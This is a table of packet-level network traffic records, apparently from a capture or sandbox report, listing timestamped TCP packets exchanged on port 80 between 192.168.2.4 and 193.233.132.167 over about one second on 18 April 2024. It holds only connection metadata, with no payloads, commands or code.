Apr 18, 2024 23:40:17.757570982 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757590055 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757600069 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757643938 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757649899 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757683039 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757703066 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757724047 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757731915 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757761955 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757776022 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757798910 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757817984 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757834911 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757841110 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757873058 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757883072 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757913113 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.757931948 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.757951021 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758033991 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758038998 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758075953 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758076906 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758097887 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758114100 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758120060 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758152962 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758167028 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758191109 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758204937 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758229017 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758241892 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758266926 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758281946 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758302927 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758318901 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758342028 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758352995 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758378983 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758387089 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758415937 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758430958 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758455992 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758472919 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758493900 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758508921 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758534908 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758549929 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758574963 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758584023 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758611917 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758626938 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758650064 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758661985 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758687019 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758699894 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758727074 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758734941 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758765936 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758775949 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758804083 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758817911 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758841991 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758853912 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758879900 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758888006 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758917093 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758929968 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758955956 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.758970976 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.758994102 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759008884 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759032011 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759047031 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759069920 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759083986 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759107113 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759111881 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759147882 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759155035 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759185076 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759196997 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759222984 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759236097 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759259939 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759272099 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759299994 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759305954 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759337902 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759350061 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759377003 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759393930 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759413004 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759417057 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759450912 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759457111 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759486914 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759506941 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759530067 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759543896 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759567976 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759577036 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759607077 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759617090 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759644032 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759654045 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759680986 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759696007 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759720087 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759732962 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759757996 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759768009 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759795904 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759805918 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759834051 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759841919 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759871006 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759881973 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759907961 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759916067 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759946108 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759965897 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.759983063 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.759995937 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760021925 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760030031 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760060072 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760071039 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760096073 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760099888 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760153055 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760160923 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760193110 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760202885 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760230064 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760241985 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760267973 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760277987 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760304928 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760318995 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760344028 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760359049 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760384083 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760397911 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760421991 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760432959 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760457993 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760478020 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760494947 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760500908 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760531902 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760539055 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760569096 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760581017 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760606050 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760617018 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760643005 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760653973 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760680914 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760694981 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760718107 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760732889 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760754108 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760761023 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760791063 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760802984 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760828018 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760847092 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760864019 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760870934 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760901928 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760912895 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760940075 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.760948896 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.760993004 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.957132101 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.957207918 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.957250118 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.957313061 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.957314014 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.957314014 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.975536108 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.975603104 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.993694067 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.993737936 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.993797064 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.993839025 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.993846893 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.993846893 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.993846893 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.993880033 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.994262934 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.994313955 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.994373083 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.994411945 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.994429111 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.994477034 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.994482994 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.994520903 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.994533062 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.994559050 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.994570017 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.994599104 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.994612932 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.994637012 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.994666100 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.994674921 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.994708061 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.994712114 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.994729042 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.994750977 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.994765043 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.994805098 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.000654936 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.000694990 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.000715017 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.000732899 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.000746012 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.000771046 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.000782967 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.000809908 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.000824928 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.000849009 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.000863075 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.000905037 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.000911951 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.000926018 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.000942945 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.000967026 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.000984907 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.000997066 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001023054 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001036882 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001065969 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001074076 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001081944 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001121998 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001137018 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001161098 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001174927 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001199007 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001233101 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001235962 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001254082 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001276016 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001322985 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001322985 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001329899 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001370907 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001385927 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001409054 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001419067 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001446009 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001466036 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001486063 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001494884 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001524925 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001534939 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001576900 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001576900 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001615047 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001622915 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001652956 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001667976 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001691103 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001703024 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001729012 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001738071 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001765013 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001780033 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001804113 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001816988 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001842022 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001857042 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001882076 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001894951 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001919985 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001930952 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001960039 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.001976013 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.001996994 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002012014 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002037048 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002052069 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002074003 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002090931 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002113104 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002126932 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002151966 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002166033 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002202988 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002203941 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002242088 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002262115 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002279997 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002300978 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002315998 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002320051 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002356052 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002370119 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002393007 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002393961 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002433062 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002449989 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002470970 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002487898 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002509117 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002523899 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002548933 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002563953 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002589941 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002604961 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002628088 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002643108 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002666950 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002682924 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002705097 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002717018 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002743959 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002758026 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002784967 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002798080 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002834082 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002836943 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002876997 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002886057 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002913952 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002933025 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.002954006 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.002968073 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003005981 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003006935 CEST	80	49757	193.233.132.167	192.168.2.4
